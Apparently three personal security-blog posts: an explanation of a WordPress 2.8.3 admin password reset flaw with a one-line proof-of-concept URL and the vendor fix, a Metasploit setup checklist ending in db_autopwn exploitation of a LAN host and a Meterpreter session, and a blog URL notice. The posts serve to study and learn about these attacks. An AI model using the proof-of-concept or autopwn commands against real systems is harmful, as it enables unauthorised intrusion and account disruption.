WordPress <= 2.8.3 Admin Reset

None of this is new its just me trying to understand it. This vulnerability only resets the admin password, which is then emailed to the admin. Someone could potentially DOS the admin with a small script to continually reset the password but overall this is just an annoyance. This is mainly due to a lack of input validation on the $key variable. How this seems to work is WordPress is using a black list method to check to see if the key is empty and it also has no checks to see if the key is empty before the query is ran.



Proof of Concept:
http://DOMAINNAME/wp-login.php?action=rp&key[]=

Why does it reset admin?

When $key is passed an array[] it is treated an empty string. This will in turn match every user within the database. The first user just happens to be the admin, which WordPress will reset.

$user = $wpdb->get_row(
$wpdb->prepare(
"SELECT * FROM $wpdb->users
WHERE user_activation_key = %s", $key
)
);

The Issue.
It looks like empty() will treat an array as an empty string and not return an error.

wp-login.php.
if ( empty( $key ) )
return new WP_Error('invalid_key', __('Invalid key'));

The Fix.
WordPress has released a fix which is shown below. This is still a black list approach and only adds an extra check for the array.

if ( empty( $key ) || is_array( $key ) )
return new WP_Error('invalid_key', __('Invalid key'));

This is still using a black list method and I also think some improvements can be made before the query statement. I believe some blame can be put on PHP by not throwing an exception to an empty array. When time permits I would like to play around with other things that could be passed to $key. I'm still exploring other possibilities of this not just being a password reset that is sent to the admin. If anyone has some ideas, I would love to hear.


References:

http://core.trac.wordpress.org/changeset/11798
http://archives.neohapsis.com/archives/fulldisclosure/2009-08/0114.html
http://us3.php.net/manual/en/function.empty.php
http://isc.sans.org/diary.html?storyid=6934

Metasploit Ubuntu Checklist

So I just got a new computer and have been setting up my work environment. One thing I always forget is getting metasploit running with autopwn. I only seem to do this when I either get a new machine or rebuild, which is not that often. I feel like once you have autopwn going, metasploit is at a good point for exploiting and developing.

This post is going to be a quick reference list of getting the framwork up and going. At the time of this post it was Ubuntu 9.04 and Metasploit 3.2 .

1. Get Metasploit:
I always get metasploit through subversion. Do it anyway you like.

$sudo apt-get install subversion
$svn co http://metasploit.com/svn/framework3/trunk/

2. Install Ubuntu debs:
Add any others that you think are necessary.

$apt-get install ruby rubygems sqlite libsqlite3-ruby libopenssl-ruby nmap

3. Create Metasploit DB:
In the example below, mine was already created.

msf > db_driver sqlite3
[*] Using database driver sqlite3
msf > db_create
[*] The specified database already exists, connecting
[*] Successfully connected to the database
[*] File: /home/asdf/.msf3/sqlite3.db
msf > db_connect
[*] Successfully connected to the database
[*] File: /home/asdf/.msf3/sqlite3.db
msf >

4. Run autopwn:
This is all at the very basic level, just testing if it works.

msf > db_nmap 192.168.1.2
msf > db_autopwn -e -p -b
msf > sessions

Active sessions
===============

Id Description Tunnel
-- ----------- ------
1 Meterpreter 192.168.1.1:60781 -> 192.168.1.2:15786

msf > sessions -i 1
[*] Starting interaction with 1...

meterpreter >

Like I said this is all basic and just a quick checklist to get it going. I have never wrote this down because I always felt like I would remember. Anyways if anyone else has some stuff they add or do to get their base framework going, I would love to hear about it.

References:
http://metasploit.com/
http://en.wikibooks.org/wiki/Metasploit/UsingMetasploit

URL Change

Well I don't know why but I decided to drop kpan1c.blogspot.com in favor of informationintoxication.blogspot.com. My guess is I will change it again. Sorry for any of the confusion, I need to just buy a domain for this...